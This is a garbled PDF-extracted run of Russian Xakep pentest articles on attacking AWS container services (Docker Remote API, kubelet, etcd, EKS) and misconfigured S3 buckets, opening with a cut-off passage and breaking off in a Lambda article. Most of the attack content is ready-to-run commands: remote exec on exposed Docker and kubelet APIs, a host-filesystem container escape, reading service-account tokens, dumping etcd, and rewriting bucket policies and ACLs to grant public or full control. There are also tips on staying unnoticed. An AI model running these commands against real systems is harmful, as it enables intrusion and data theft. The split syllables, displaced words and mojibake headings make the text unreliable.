Ча ще все го никаких политик не при вяза но и мы получим ошиб ку.

От сутс твие полити ки

Но быва ет, что попада ется при вязан ная полити ка.

По луче ние полити ки

Здесь видим, что всем объ ектам ( ) раз решено:Principal: *
 — про верять дос тупность одно го

или нес коль ких обра зов в репози тории;
• ecr:BatchCheckLayerAvailability

 — получать более деталь ную информа цию об обра -
зе;

• ecr:BatchGetImage

 — получать URL для заг рузки обра за.• ecr:GetDownloadUrlForLayer

На конец, убе див шись, что текущий поль зователь име ет пра ва на работу
с репози тори ем, най дем все обра зы:

aws ecr list-images --repository-name <RepositoryName>

При мер:

aws ecr list-images --repository-name xakepru

По иск обра зов в репози тории

По лучить информа цию о кон крет ном обра зе:

 
aws ecr describe-images --repository-name <RepositoryName> 
--image-ids imageTag=<ImageTag>

При мер:

 aws ecr describe-images --repository-name xakepru --image-ids
imageTag=latest

Изу чаем кон крет ный образ

ELASTIC CONTAINER SERVICE (ECS)

Да, мно го информа ции из ECR не вытянешь. А мож но ли сра зу проб рать ся
в Docker? Все воз можно! ECS — сер вис для управле ния кон тей нерами. Его
струк тура доволь но незамыс ловата.

Ус трой ство ECS

Сна чала соз дает ся клас тер с опре делен ным чис лом узлов (нод). Чаще все го
это реали зует ся на базе EC2 или Fargate.

За дача — это обя затель ная и незаме нимая часть ECS. Она тре бует ся
для кор рек тно го запус ка кон тей нера. Поз воля ет ука зать, какой образ Docker
исполь зовать, сколь ко ЦП и памяти выделять, как собирать логи, какую роль
IAM исполь зовать и так далее. Задача запус кает ся вруч ную. Она, в свою оче -
редь, запус кает опре делен ные для нее кон тей неры, которые работа ют, пока
не будут оста нов лены или не завер шат работу самос тоятель но.

Служ ба ECS исполь зует ся, что бы гаран тировать, что всег да выпол няет ся
некото рое количес тво задач. Если кон тей нер неп редви ден но вык люча ется, то
имен но служ ба заменит неудав шуюся задачу. Для того и соз дают ся клас теры:
что бы у служ бы было дос таточ но ресур сов для исполь зования.

Initial Access

Са мый рас простра нен ный спо соб получить пер воначаль ный дос туп в ECS —
тор чащие в сеть пор ты 2375 или 2376. На них висит Docker Remote API,
исполь зуемый для управле ния кон тей нером. По умол чанию на нем нет никакой
аутен тифика ции, поэто му любой, кто в сос тоянии вза имо дей ство вать с эти ми
пор тами, может работать с кон тей нерами.

Об наружить подоб ный мис конфиг мож но с помощью Shodan:

port:2375 product:docker
port:2376 product:docker

По иск уяз вимых кон тей неров через Shodan

Экс плу ата ция донель зя прос тая. Мож но исполь зовать стан дар тную ути литу
Docker, ука зав в перемен ной сре ды  IP уяз вимого хос та, а затем

выпол нять все стан дар тные коман ды адми нис три рова ния кон тей неров.
Как вари ант — отправ лять JSON с информа цией для Docker при помощи curl.

DOCKER_HOST

WWW

 в офи циаль ной
докумен тации Docker.
Опи сание фор мата дан ных

На ходим все дос тупные кон тей неры:

curl http://<IP>:2375/containers/json | python3 -m json.tool

Ис поль зуем curl, что бы най ти кон тей неры

Ви дим, что вза имо дей ствие успешно, поэто му можем добить ся выпол нения
кода в кон тей нере вот так:

curl   
   

-s "http://10.10.10.10:2375/containers/<container_id>/exec"
-X POST -H "Content-Type: application/json" -d '{"AttachStdin": 
true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["whoami"],
"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

export EXEC_ID=913c5

curl    
  

-s "http://10.10.10.10:2375/exec/${EXEC_ID}/start" -X POST -H
"Content-Type: application/json" -d '{"Detach": false,"Tty": 
false}'

Ес ли хочешь исполь зовать Docker, то все точ но так же. Рас смот рим вари ант
с мон тирова нием хос товой фай ловой сис темы в кон тей нер:

# Указываем IP-адрес уязвимого хоста
export DOCKER_HOST="tcp://10.10.10.10:2375"

# Смотрим доступные образы
docker images

# Запускаем контейнер (/:/host означает монтирование / в 
контейнерный /home)

 docker run -it -v /:/host <REPOSITORY>:<TAG> bash

# И монтируем файловую систему
docker> chroot /host bash

Enumeration

Ус пешно сбе жав из кон тей нера, ты попадешь на саму работа ющую ноду
(которая чаще все го будет рас положе на в VPC). В слу чае с EC2 обя затель но
про веряй IMDS, что бы най ти токены дос тупа при вязан ной роли. Как это делать,
я рас ска зывал в .прош лой статье

INFO

Virtual Private Cloud (VPC), или вир туаль ное час -
тное обла ко, — это пол ноцен ная изо лиро ван ная
сеть в обла ке, обла дающая все ми свой ства ми
реаль ной сети. Здесь исполь зуют ся такие же IP-
адре са, под сети и мар шру тиза ция, как в обыч ной
сети.

Ког да получен дос туп к AWS CLI, пора перехо дить к раз ведке.
По иск всех клас теров: .aws ecs list-clusters

Изу чаем дос тупные клас теры

По лучить под робную информа цию о кон крет ном клас тере:

aws ecs describe-clusters --cluster <ClusterName>

При мер:

aws ecs describe-clusters --cluster DimkinCluster

По луче ние под робной информа ции о клас тере

Даль ше мож но про дол жить нашу раз ведку вот так:

# Нахождение всех сервисов
   aws ecs list-services --cluster <ClusterName>

# Конкретный сервис
   aws ecs describe-services --cluster <ClusterName> --services <

ServiceName>

# Задачи
   aws ecs list-tasks --cluster <ClusterName>
   aws ecs describe-tasks --cluster <ClusterName> --tasks <

TaskArn>

ELASTIC KUBERNETES SERVICE (EKS)

Kubernetes — лакомый кусочек для пен тесте ра. Имен но здесь всег да сос -
редото чено боль ше все го инте рес ной информа ции, а век торов для получе ния
дос тупа мно жес тво. Одна ко устрой ство даже прос того клас тера понача лу
может напугать!

Струк тура EKS

Продолжение статьи →

mailto:michael.zhmailo@yandex.ru
https://xakep.ru/2022/09/06/aws-pentesting/
https://www.youtube.com/watch?v=4ht22ReBjno
https://xakep.ru/issues/xa/196/
https://github.com/Syzik/DockerRegistryGrabber
https://docs.docker.com/engine/api/latest/
https://xakep.ru/2022/09/06/aws-pentesting/


УДАР ПО

КОНТЕЙНЕРАМ
ПЕНТЕСТИМ

DOCKER И KUBERNETES
В ОБЛАКЕ AMAZON

COVERSTORY  НАЧАЛО СТАТЬИ←

Соз дает ся клас тер. В нашем слу чае есть два VPC: EKS VPC — основной
и Customer VPC — дочер ний. В дочер нем сущес тву ют рабочие экзем пля ры,
на которых работа ют при ложе ния. Поэто му очень важ но во вре мя пен теста
опре делить, какой VPC при над лежит узел управле ния (EKS Control Panel), а на
какой запус кают ся при ложе ния.

Во мно гом струк тура похожа на обыч ный клас тер Kubernetes. Те же ноды,
те же балан сиров щики наг рузки, те же средс тва управле ния. Kubernetes может
хра нить мно жес тво сек ретов, мно жес тво мис конфи гов и мно жес тво потен -
циаль ных век торов для атак!

Опять же Kubernetes инте ресен нам потому, что, выб равшись к ноде,
попадем в VPC, что не может не радовать.

Initial Access

Kubelet API

Это служ ба, которая работа ет на каж дом узле клас тера. Она сле дит за тем,
что бы кон тей неры были запуще ны в поде, и вза имо дей ству ет с kube-apiserver.
По умол чанию работа ет на пор те 10250.

Об наружить ее прос то. Нап ример, можешь ввес ти в Shodan port:10250
Kubernetes.

Ис поль зование Shodan для поис ка уяз вимос ти

В некото рых слу чаях будет дос туп . То есть мак симум

смо жем получать информа цию из API: устрой ство клас тера, име на подов, рас -
положе ние фай лов и дру гие нас трой ки. Это не кри тичес кая информа ция, но ее
все же не сле дует вык ладывать в интернет.

òîëü êî äëÿ ÷òå íèÿ

Нап ример, мож но зло упот ребить этим, обра тив шись к сле дующе му URL:

http://external-IP:10255/pods

Об наружи ваем клю чи дос тупа в AWS

В перемен ных сре ды кон тей нера неп рилич но час то встре чают ся чувс тви тель -
ные дан ные, как в этом при мере — клю чи дос тупа для AWS. Получим дос туп
к это му кон тей неру — получим дос туп в обла ко.

Но нам может очень круп но повез ти, ведь по умол чанию к это му сер вису
пре дос тавля ется ано ним ный дос туп.

Осо бен ность даже ука зана в матери алах о нас трой ке

Прав да, воз ника ют опре делен ные проб лемы. API служ бы Kubelet не докумен -
тирован, хотя ког да это мешало хакерам? Мы ведь можем прос то гля нуть в 

.
ис -

ходный код
Сто ит искать стро ку, которая начина ется с .path(

Об наружи ваем конеч ные точ ки

Я обна ружил сле дующие инте рес ные эндпо инты:

/pods/
/run/
/exec/
/attach/
/portForward/
/containerLogs/
/runningpods/

Об рати вни мание на  и . С помощью этих конеч ных точек мож но

выпол нить код внут ри кон тей нера! При чем сущес тву ет даже 
, но, что бы луч ше понять суть про цес са, рекомен дую исполь -

зовать curl:

/exec/ /run/
инс тру мент

для экс плу ата ции

# Получить все пространства имен, поды и контейнеры

curl  -k https://10.10.11.133:10250/pods/ | jq -r '.items[] | [.
metadata.namespace, .metadata.name, [.spec.containers[].name]]'
curl  -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[] 
| [.metadata.namespace, .metadata.name, [.spec.containers[].name]]
'

# /run

curl  / pod /
 

-XPOST -k https://10.10.11.133:10250/run/{namespace} { } {
container} \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.

crt /var/run/secrets/kubernetes.io/serviceaccount/token"

# /exec
curl    

  
-sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io"

-H "X-Stream-Protocol-Version: channel.k8s.io" \
/ pod /   https://10.10.11.133:10250/exec/{namespace} { } {container} \

       -d 'input=1' -d 'output=1' -d 'tty=1' \
    -d 'command=ls' -d 'command=/'

Как вари ант, можешь исполь зовать kubeletctl:

kubeletctl exec /bin/sh -n <namespace> -p <pod> -c <container>  -s
<IP> --cacert ./ca.crt

kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-
system -s 10.129.227.136 --cacert ./ca.crt

etcd

Ано ним ные сес сии на этом не закан чива ются! Такому же мис конфи гу может
быть под верже но и хра нили ще etcd. Оно име ет фор мат «ключ — зна чение»
и содер жит всю информа цию о кон фигура ции клас тера Kubernetes. В нем так -
же хра нит ся текущее сос тояние сис темы и жела емое (нап ример, пос ле деп -
лой мен та).

С поис ком сно ва поможет Shodan: port:2379 product:"etcd".

Об наружи ваем etcd через Shodan

В etcd всег да лежит мно го сек ретов, получить к ним дос туп мож но, нап ример,
с помощью MSF:

use auxiliary/scanner/etcd/open_key_scanner
set RHOSTS TARGETIP
exploit

По луча ем клю чи etcd через MSF

Ес ли Metasploit по каким-то при чинам не устра ивает, можешь исполь зовать
:etcdctl

 etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix
--keys-only

Kube-ApiServer

На конец, если не было уяз вимос ти ни в Kubelet, ни в etcd, то пос мотри в сто -
рону API-сер вера. С этой служ бой обща ются обыч но с помощью инс тру мен та

, а рас полага ется она на 6443-м, 443-м или 8443-м пор те. Про верить
работос пособ ность мож но так:
kubectl

curl -k https://IP:6443/swaggerapi
curl -k https://IP:8443/healthz
curl -k https://IP:443/api/v1

Од нако получить RCE таким методом, к сожале нию, не получит ся.

Ïåðå÷èñëåíèå

При получе нии дос тупа в AWS CLI откры вают ся богатые воз можнос ти для поис -
ка информа ции.

По лучить спи сок дос тупных клас теров мож но коман дой 

.

aws eks list-
clusters

Kubernetes-клас теры в AWS

По лучить информа цию об опре делен ном клас тере:

aws eks describe-cluster --name <Cluster-Name>

При мер:

aws eks describe-cluster --name RedTeamCluster

Под робные дан ные о клас тере

Об рати вни мание на сле дующее:
 — вер сия Kubernetes, которая исполь зует ся;• version

 — конеч ная точ ка для дос тупа к это му клас теру. В некото рых
ред ких кон фигура циях она может быть дос тупна из интерне та, что зна -
читель но упро щает пен тест;

• endpoint

 — VPC, в котором находит ся клас тер;• vpcId

 — раз решен ли дос туп без аутен тифика ции
к эндпо инту;

• endpointPublicAccess

 — диапа зон IP, из которо го мож но получить дос туп
к клас теру.

• publicAccessCidrs

Ча ще все го, попав в обла ко из Kubernetes, мож но получить при виле гиро ван -
ную учет ку. У нее может не быть никаких прав в AWS, но при этом она может
уметь делать все, что захочешь, в сре де Kubernetes.

Од на из пер вых нас тро ек клас тера на EKS, которые нуж но сде лать еще до
запус ка узлов, — это добав ление роли узла IAM в груп пу . Эта

груп па при вяза на к роли Kubernetes , у которой есть пра ва на чте -
ние раз ных объ ектов Kubernetes: сер висов, узлов, подов, пос тоян ных томов
и восем надца ти дру гих ресур сов. Все, что нам нуж но сде лать, что бы унас -
ледовать эти пол номочия, — поп росить AWS пре обра зовать наши клю чи дос -
тупа IAM в дей стви тель ный токен Kubernetes, что бы мы мог ли зап рашивать
сер вер API как член груп пы :

system:nodes
system:node

system:nodes

aws eks get-token --cluster-name <имя кластера> --profile
<профиль>

При мер:

aws eks get-token --cluster-name RedTeamCluster --profile node

По луче ние токена Kubernetes

ÂÛÂÎÄÛ

Бе зопас ность кон тей нер ных сред — все более и более акту аль ная проб лема.
Как ты смог убе дить ся, получить пер воначаль ный дос туп в AWS не так и слож -
но. Зло умыш ленник, сбе гая из кон тей нера, вылезет где-нибудь в VPC, что
может нанес ти ком пании огромный ущерб!

Даль ше наруши тель будет повышать при виле гии, собирать информа цию
из etcd, искать дос туп к дру гим VPC. Об этих тех никах я рас ска жу в сле дующих
стать ях.

https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go
https://github.com/serain/kubelet-anon-rce
https://github.com/etcd-io/etcd/tree/main/etcdctl
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Хра нили ще Amazon S3, хоть и содер жит
ста тичес кие дан ные, может откры вать
боль шие воз можнос ти при пен тесте. Неп -
равиль но выс тавлен ные раз решения поз -
воля ют хакерам выис кивать в S3 чувс тви -
тель ные дан ные, которые дадут путь
для даль нейше го прод вижения. В этой
статье мы пос мотрим, как могут выг лядеть
мис конфи ги S3 и как их экс плу ати ровать.

WARNING

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÒÅÎÐÈß

У бакетов есть воз можность кон тро ля дос тупа: объ екты могут быть обще дос -
тупны ми либо при ват ными. Дос туп к при ват ным быва ет как толь ко для чте ния,
так и с воз можностью записи.

Как выг лядит S3

Внут ри S3 есть два типа дан ных: Bucket — кон тей нер для объ ектов и Object —
сам файл. Самые час тые спо собы вза имо дей ствия:

 — перечис лить все хра нили ща S3 или фай лы на S3;• List

 — получить файл;• Get

 — помес тить файл на S3;• Put

 — уда лить файл.• Delete

Фор мат URL для дос тупа к S3 выг лядит так:

http(s)://{имя бакета}.s3.{регион}.amazonaws.com

Здесь  опре деля ется вла дель цем бакета, нап ример:{имя}

https://xakeprufiles.s3.us-west-2.amazonaws.com

Ба кеты S3 мож но обна ружить раз ными спо соба ми, нап ример най ти URL
в исходном коде стра ницы веб-сай та, в репози тори ях GitHub или даже авто -
мати зиро вать про цесс с помощью готовых ути лит.

Для перебо ра мож но исполь зовать наз вание ком пании, за которым сле дуют
общие тер мины. Нап ример, , , ,

 и так далее.
xakepru-assets xakepru-www xakepru-public

xakepru-private
Так же к бакету или объ екту может быть при вяза на полити ка безопас ности.

По лити ки бакета

С помощью политик мож но ука зать, кто име ет дос туп к ресур су и какие дей -
ствия может выпол нять с ним. Есть четыре вари анта:

пуб личный дос туп (Public Access);•
ACL — сок ращение от Access Control List. Мож но нас тра ивать как на бакет,
так и на кон крет ный объ ект бакета;

•

Bucket Policies — нас тра ивают ся толь ко для бакета;•
Time Limited URLs — вре мен ные URL для дос тупа.•

Еще есть полити ки, осно ван ные на лич ности, они прик репля ются к поль зовате -
лю, груп пе или роли IAM. Поз воля ют опре делять, что объ ект может делать.

ÏÎÈÑÊ ÁÀÊÅÒÎÂ

На чать сто ит с сер виса . Он поз воля ет находить бакеты
и объ екты в них с помощью клю чевых слов.

greyhatwarfare.com

Об наруже ние бакетов

Ес ли тол ком ничего не находит ся, то идем на сайт ком пании. Здесь нам
поможет Burp Suite. Прос то прос матри вай веб-сайт, а затем ана лизи руй
получен ную кар ту.

При этом бакеты всег да находят ся на сле дующих URL:

http://s3.[region].amazonaws.com/[bucket_name]/
http://[bucket_name].s3.[region].amazonaws.com/

http://s3-website-[region].amazonaws.com/[bucket_name]
http://[bucket_name].s3-website-[region].amazonaws.com

http://[bucketname].s3.dualstack.[region].amazonaws.com
http://s3.dualstack.[region].amazonaws.com/[bucketname]

Нуж но ли нам под бирать пра виль ный реги он? Нет! Amazon любез но под ска -
жет, что мы ищем где-то не там. Поэто му нам дос таточ но лишь наз вания
бакета.

Не вер ный реги он

Но как получить это наз вание? Чаще все го оно скры вает ся в записях CNAME (в
них сопос тавле ны псев донимы с исходны ми DNS-име нами) домена ата куемой
ком пании. Обна ружить их мож но вот так:

dig <domain> any

При мер:

dig flaws.cloud any

Смот рим DNS

Да, может быть, CNAME и пуст, но пос мотрим, что еще есть на этом IP:

nslookup <ip>

При мер:

nslookup 52.218.192.11

Об ратный поиск

И получим, что к IP при вязан еще и адрес 

. Это так называ емый Website Endpoint. Эндпо инты исполь зуют ся, ког да

с бакетом интегри рован прос тень кий ста тичес кий веб-сайт.

s3-website-us-west-2.amazonaws.
com

Все бакеты S3, нас тро енные для веб-хос тинга, получа ют домен AWS,
который мож но исполь зовать без собс твен ного DNS. То есть имя бакета в дан -
ном слу чае сов пада ет с име нем домена, а имен но .flaws.cloud

Ко неч но же, каж дый домен переби рать вруч ную проб лематич но. Уско рит
дело прос тень кий скрипт на Bash:

p  while read ; do
    | echo $p, curl --silent -I -i http://$p grep AmazonS3

done < subdomains.txt

Пе ребор доменов

Об рати вни мание, что не все домены зарегис три рова ны как записи CNAME.
Некото рые могут не отоб ражать ся явно в про цес се раз решения имен. В таком
слу чае удоб но исполь зовать сайт . Сюда мож но
заг рузить спи сок доменов, а сер вис уже самос тоятель но най дет записи и по
воз можнос ти сопос тавит их с облачны ми сер висами.

dnscharts.hacklikeapornstar.com

Ви зуали зация всех записей

Ес ли ты не зна ешь, как находить под домены, то рекомен дую ути литу 
в связ ке с .

Amass
но вой тех никой перечис ления доменов

На неболь ших тар гетах одно го инс тру мен та будет дос таточ но:

 amass enum -d <атакуемый домен> -passive -o res.txt

Пас сивное ска ниро вание най дет мно го лиш него, поэто му мож но исполь зовать
активное:

 amass enum -d <атакуемый домен> -active -o res.txt

Най ден ные под домены

Но если все еще мало, то заг ружай домены в :Regulator

python3 main.py <атакуемый домен> <файл с доменами> <output-file>

При мер:

python3 main.py flaws.cloud res.txt flaws.rules

И генери руй спи сок доменов с помощью получен ных пра вил:

make_brute_list.sh flaws.rules flaws.brute

Ито говый спи сок мож но начинать про верять на валид ность:

puredns resolve flaws.brute --write flaws.valid

На конец, если никак не получа ется обна ружить имя бакета, то мож но поп -
робовать его сбру тить. Для это го сущес тву ет куча инс тру мен тов:

;• S3Scanner
;• s3-inspector

 (содер жит спи сок воз можных имен);• AWSBucketDump
;• umberbuckets

;• bucky
;• teh_s3_bucketeers

.• aws-pentest-tools/s3

ÏÎËÓ×ÅÍÈÅ ÑÎÄÅÐÆÈÌÎÃÎ

Ког да ты обна ружил мак сималь ное чис ло бакетов, пора перехо дить к перечис -
лению их содер жимого. С этим отлично справ ляет ся AWS CLI:

aws configure

Даль ше вво дим дан ные любой дей стви тель ной учет ной записи AWS.
Су щес тву ет флаг , который поз воля ет получать ано -

ним ный дос туп, но я рекомен дую все-таки вво дить хоть какие-нибудь учет ные
дан ные.

--no-sign-request

Иног да быва ет, что от ано нима ничего не най ти, но раз ведка от лица
какого-нибудь поль зовате ля рас кры вает инте рес ную информа цию. Под черки -
ваю: тре бует ся ввес ти дан ные любой учет ной записи AWS. Абсо лют но любой.

Пред лагаю начать с получе ния пол ного спис ка объ ектов в бакете:

aws aws s3 ls s3://<имя бакета> --recursive

Ли бо:

aws s3api list-objects-v2 --bucket <имя бакета>

При мер:

aws s3 ls s3://flaws.cloud --recursive
aws s3api list-objects-v2 --bucket flaws.cloud

Изу чение объ ектов бакета

Ес ли объ ектов очень мно го, то мож но покопать ся в них с помощью стан дар -
тных регуля рок.

# Извлечение имен файлов из параметра Key (имя файла)
   grep '"Key"' object.txt | sed 's/[",]//g' > list_keys.txt

# Указываем интересующие нас расширения
patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$\.
conf$|\.zip$|\.7z$|\.rar$|\.txt$|\.ps1$|\.bat$|\.word$|\.xlsx$|\.
xls$|\.pdf$'

# Находим файлы, соответствующие шаблону
egrep $patterns list_keys.txt

Ког да спи сок воз можных объ ектов получен, мож но ска чать их вот так:

aws s3api get-object --bucket <bucket-name> --key <имя файла> <
download-file-location>

Нап ример:

sers
ser
aws s3api get-object --bucket flaws.cloud --key aws.txt C:\U \U

\Desktop\downloaded.txt

Так же мож но ска чать бакет целиком:

aws s3 sync s3://<bucket>/ .

Очень мно го бакетов содер жат репози тории на GitHub. Если такой най дет ся,
обя затель но попытай ся дос тать инте рес ную информа цию с помощью 
или .

Gitleaks
TruffleHog

ÐÀÇÂÅÄÊÀ ÈÇ ÎÁËÀÊÀ

Не сто ит забывать про бакеты, даже если у нас уже есть дос туп в AWS. Ведь
имен но в бакетах пос тоян но встре чают ся фай лы кон фигура ции, кук буки, скрип -
ты, необ работан ные дан ные, а иног да даже бэкапы баз дан ных.

AWS CLI

На чина ем всег да с перечис ления дос тупных бакетов:

aws s3api list-buckets

Продолжение статьи →

mailto:michael.zhmailo@yandex.ru
https://buckets.grayhatwarfare.com/
https://dnscharts.hacklikeapornstar.com/
https://github.com/OWASP/Amass
https://cramppet.github.io/regulator/index.html
https://github.com/cramppet/regulator
https://github.com/sa7mon/S3Scanner
https://github.com/clario-tech/s3-inspector
https://github.com/jordanpotti/AWSBucketDump
https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets
https://github.com/smaranchand/bucky
https://github.com/tomdev/teh_s3_bucketeers
https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3
https://github.com/zricethezav/gitleaks
https://github.com/trufflesecurity/truffleHog


ПРОВЕРКА ВЕДЕР
КАК ИСКАТЬ УЯЗВИМОСТИ

В БАКЕТАХ AWS S3

COVERSTORY  НАЧАЛО СТАТЬИ←

По иск бакетов

Те перь можем изу чить все ACL, нас тро енные на бакет:

aws s3api get-bucket-acl --bucket <bucket-name>

Нап ример:

aws s3api get-bucket-acl --bucket buckettest

Прос мотр ACL

Нес ложно догадать ся, что  — объ ект, которо му выда ются пра ва.Grantee
Нас тоящий хакер дол жен быть незамет ным, как нин дзя. Поэто му обя -

затель но про веряй, ведут ся ли логи у ата куемо го бакета:

aws s3api get-bucket-logging --bucket <имя бакета>

Нап ример:

aws s3api get-bucket-logging --bucket buckettest

Ес ли логиро вания нет, вывода не будет.

От сутс твие логиро вания

Ес ли же логиро вание при сутс тву ет, AWS CLI уве домит нас об этом.

Ло гиро вание сущес тву ет

В дан ном слу чае все логи дос тупа к бакету  будут лежать

в бакете .

buckettestlogging
xakepru

Обя затель но пос мотри и полити ку, при вязан ную к бакету:

aws s3api get-public-access-block --bucket <bucket-name>

Нап ример:

aws s3api get-public-access-block --bucket buckettest

Изу чаем полити ки, при вязан ные к бакету

По лити ки быва ют сле дующие:
 — если , то пре дот вра щает соз дание любых ACL

или изме нение сущес тву ющих ACL, дающих пуб личный дос туп к бакету;
• BlockPublicAcls true

 — если , то любые дей ствия с обще дос тупны ми
ACL будут игно риро вать ся; это не помеша ет их соз дать, но пре дот вра тит
пос ледс твия;

• IgnorePublicAcls true

 — если , то ста вит ся зап рет на соз дание
или изме нение полити ки, которая раз реша ет пуб личный дос туп;

• BlockPublicPolicy true

 — если , то к бакету смо гут получить
дос туп лишь авто ризо ван ные поль зовате ли. Собс твен но, из-за это го
парамет ра я и совето вал тебе ука зывать дан ные любой учет ной записи
AWS.

• RestrictedPublicBuckets true

На конец, получа ем все объ екты в опре делен ном бакете:

aws s3api list-objects-v2 --bucket <bucket name>

При мер:

aws s3api list-objects-v2 --bucket xakepru

Спи сок объ ектов

Так же ты можешь получить информа цию об ACL кон крет ного объ екта:

aws s3api get-object-acl --bucket <bucket-name> --key <object-
name>

При мер:

aws s3api get-object-acl --bucket xakepru --key aws.txt
aws s3api get-object-acl --bucket xakepru --key folder1/aws.txt

Ýêñôèëüòðàöèÿ

Что бы дос тать дан ные из бакета, нам тре бует ся дос туп на чте ние (READ).

Спо собы получе ния дос тупа к объ ектам

Да вай пов торим прой ден ное. Как ты уже понял, самый час тый мис конфиг —
всем поль зовате лям пре дос тавля ются пра ва на чте ние. В таком слу чае мы
можем най ти адрес бакета и про читать его содер жимое даже без аутен -
тифика ции. Так же быва ет, что пра ва на чте ние есть лишь у авто ризо ван ных
поль зовате лей либо у одно го кон крет ного поль зовате ля. В таком слу чае мы
смо жем получить дос туп к содер жимому через API или CLI. Наконец, дос туп
к бакету мож но получить, исполь зуя спе циаль но сге нери рован ную вре мен ную
ссыл ку.

По лез но так же смот реть раз меры бакета и опись содер жимого:

 aws s3api list-objects --bucket <имя бакета> --output json --query
"[sum(Contents[].Size), length(Contents[])]"

При мер:

 aws s3api list-objects --bucket flaws.cloud --output json --query
"[sum(Contents[].Size), length(Contents[])]"

Раз меры бакета

Как ска чивать отдель ный объ ект с помощью  либо весь бакет

с помощью , мы уже разоб рали. Теперь обра тим вни мание на вре мен ную
ссыл ку для ска чива ния объ ектов. Любой, кто име ет валид ные учет ные дан ные
и дос туп к бакету, может соз дать ее:

get-object
sync

aws s3 presign s3://<Bucket-Name>/<key-Object-Name> --expires-in
<время в секундах>

При мер:

aws s3 presign s3://xakepru/Xakep001.pdf --expires-in 604800

По луче ние вре мен ной ссыл ки на ска чива ние объ екта

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

К бакету могут быть при вяза ны полити ки, ACL, поэто му, имея опре делен ные
пра ва, можем сде лать, нап ример, бакет обще дос тупным.

Èçìåíåíèå ïîëèòèêè áàêåòà

Для экс плу ата ции тре бует ся наличие . С этой при виле -

гией смо жем пре дос тавить боль ше раз решений на бакеты, нап ример раз -
решим себе читать, записы вать, изме нять и уда лять бакеты:

s3:PutBucketPolicy

aws s3api put-bucket-policy --policy file:///root/policy.json 
--bucket <имя бакета>

Са ма полити ка может выг лядеть вот так:

{
 "Id": "Policy1568185116930",
 "Version": "2012-10-17",
 "Statement": [
 {
     "Sid": "Stmt1568184932403",
     "Action": [
       "s3:*"
     ],
     "Effect": "Allow",
     "Resource": "arn:aws:s3:::<имя бакета>",
     "Principal": "*"
 }

}

Èçìåíåíèå ACL áàêåòà

Нам нуж но . Бла года ря такой при виле гии смо жем изме нить

ACL, при вязан ный к бакету:

s3:PutBucketAcl

aws s3api put-bucket-acl --bucket <имя бакета> 
--access-control-policy file://acl.json

При мер полити ки:

{
 "Owner": {
   "DisplayName": "<Кого ты хочешь сделать владельцем>",
   "ID": "<ID>"
 },
 "Grants": [
 {
   "Grantee": {
     "Type": "Group",
     "URI": "http://acs.amazonaws.com/groups/global/

AuthenticatedUsers"
   },
 "Permission": "FULL_CONTROL"
 }
 ]

}

Èçìåíåíèå ACL îáúåêòà

Для это го пот ребу ется . Может быть так, что ACL на бакет

изме нить мы не смо жем, но вот ACL на опре делен ный объ ект в сос тоянии.
Экс плу ати руем:

s3:PutObjectAcl

aws s3api put-object-acl --bucket <имя бакета> --key <объект> 
--access-control-policy file://objacl.json

По лити ка может быть вот такой:

{
 "Owner": {
   "DisplayName": "<Кого ты хочешь сделать владельцем>",
   "ID": "<ID>"
 },
 "Grants": [
 {
   "Grantee": {
     "Type": "Group",
     "URI": "http://acs.amazonaws.com/groups/global/

AuthenticatedUsers"
   },
 "Permission": "FULL_CONTROL"
 }
]

}

ÂÛÂÎÄÛ

Ка залось бы, S3 — не более чем сер вис хра нения дан ных. Но, как ты смог убе -
дить ся, даже обыч ное фай лох ранили ще может быть уяз вимым само и откры -
вать дру гие уяз вимос ти. Любая воз можность рас ширить повер хность ата ки
важ на при пен тестах, и пло хо нас тро енные бакеты могут в этом пла не сос -
лужить отличную служ бу.
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В эко сис теме AWS име ется инте рес ней -
ший механизм Lambda — это служ ба бес -
сервер ных вычис лений, которая запус кает
код в ответ на опре делен ное событие.
При чем она уме ет авто мати чес ки
выделять для это го необ ходимые ресур сы.
Сегод ня мы погово рим о том, как исполь -
зовать ее, что бы про ник нуть в обла ко AWS
и повысить при виле гии.

INFO

О том, как мож но экс плу ати ровать дру гие уяз -
вимос ти AWS, читай в статье «

».
Про вер ка ведер.

Как искать уяз вимос ти в бакетах AWS S3

ÒÅÎÐÈß

AWS Lambda

Как работа ет AWS Lambda? Если прос тыми сло вами: ты добав ляешь свой
скрипт и зада ешь триг гер или событие, при нас тупле нии которо го будет запус -
кать ся этот код. Боль ше делать ничего не нуж но, потому что обо всем дру -
гом — адми нис три рова нии, монито рин ге работы, безопас ности, жур налах,
логах — позабо тит ся сер вис AWS Lambda. Ког да событий нет, лям бда
не выпол няет ся, соот ветс твен но, ресур сы не пот ребля ются.

Ус трой ство лям бды

Ëÿìáäà-ôóíêöèÿ

Лям бда-фун кция — это часть кода, которая выпол няет ся каж дый раз, ког да
сра баты вает триг гер.

Ус трой ство лям бда-фун кции

Су щес тву ет три типа триг геров, отли чают ся они спо собом вызова:
по токо вый — сра баты вает при изме нени ях в чем-либо, нап ример
при добав лении дан ных в БД;

•

син хрон ный — сра баты вает при получе нии зап роса на какой-то конеч ной
точ ке, которая вызыва ет лям бда-фун кцию;

•

асин хрон ный — про исхо дит в слу чае какого-либо события, нап ример
при заг рузке фай ла на S3.

•

При этом вызов воз можно выпол нить и с помощью API Gateway.

API Gateway

Служ ба API Gateway упро щает раз работ чикам работу с API. Под держи вает ся
REST, HTTP и WebSocket API.

Сос тав API Gateway

Мы можем при вязать API Gateway к какому-то сер вису, мобиль ному при ложе -
нию, даже к IOT, — глав ное, что бы у них был дос туп в интернет. Пос ле это го
